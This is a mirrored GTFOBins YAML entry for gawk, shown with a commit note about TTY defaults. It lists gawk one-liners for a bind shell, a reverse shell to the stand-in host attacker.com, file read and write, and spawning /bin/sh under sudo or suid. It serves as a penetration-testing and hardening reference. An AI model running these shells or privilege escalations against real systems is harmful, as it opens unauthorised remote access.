mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2026-03-07 06:31:33 +01:00
560c37b5ff
The TTY annotation was missing in the rendered content for plain shell. Moreover now the shell function has TTY defaulting to true, whereas reverse-shell and bind-shell have it defaulting to false.
50 lines
1.1 KiB
Plaintext
50 lines
1.1 KiB
Plaintext
---
|
|
functions:
|
|
bind-shell:
|
|
- code: |-
|
|
gawk 'BEGIN {
|
|
s = "/inet/tcp/12345/0/0";
|
|
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
|
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
|
connector: tcp-client
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
file-read:
|
|
- code: |-
|
|
gawk '//' /path/to/input-file
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
file-write:
|
|
- code: |-
|
|
gawk 'BEGIN { print "DATA" > "/path/to/output-file" }'
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
unprivileged:
|
|
reverse-shell:
|
|
- code: |-
|
|
gawk 'BEGIN {
|
|
s = "/inet/tcp/0/attacker.com/12345";
|
|
while (1) {printf "> " |& s; if ((s |& getline c) <= 0) break;
|
|
while (c && (c |& getline) > 0) print $0 |& s; close(c)}}'
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
listener: tcp-server
|
|
shell:
|
|
- code: |-
|
|
gawk 'BEGIN {system("/bin/sh")}'
|
|
contexts:
|
|
sudo:
|
|
suid:
|
|
shell: true
|
|
unprivileged:
|
|
...
|